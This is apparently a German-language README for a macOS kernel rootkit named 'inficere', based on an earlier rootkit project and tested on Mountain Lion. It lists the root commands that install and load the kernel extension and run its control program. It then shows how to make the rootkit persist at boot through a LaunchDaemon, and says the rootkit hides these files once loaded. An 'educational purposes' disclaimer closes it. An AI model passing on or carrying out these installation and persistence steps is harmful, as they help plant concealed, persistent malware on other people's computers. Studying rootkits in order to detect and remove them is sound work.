
Mac OS X rootkit - für Lernzwecke
Öffentliche Version meines Mac-OS-X-Rootkits, das auf fractalGs onyx-the-black-cat aufbaut (https://github.com/gdbinit/onyx-the-black-cat)
Nur getestet unter Mountain Lion, 10.8.2 bis 10.8.5. Eine Funktion auf anderen Versionen ist nicht garantiert.
# chmod -R 755 inficere.kext# chown -R root:wheel inficere.kext# mv inficere.kext /System/Library/Extensions/# kextutil /System/Library/Extensions/inficere.kext# ./controlFür Persistenz beim Booten:
# plutil -convert binary1 com.enzo.inficere.plist# mv com.enzo.inficere.plist /Library/LaunchDaemons/com.enzo.inficere.plist# chown root:wheel /Library/LaunchDaemons/com.enzo.inficere.plist# launchctl load -w /Library/LaunchDaemons/com.enzo.inficere.plistInficere versteckt die oben genannten Dateien nach dem Laden.
Ich möchte betonen, dass ich dies ausschließlich zu Bildungszwecken erstellt habe.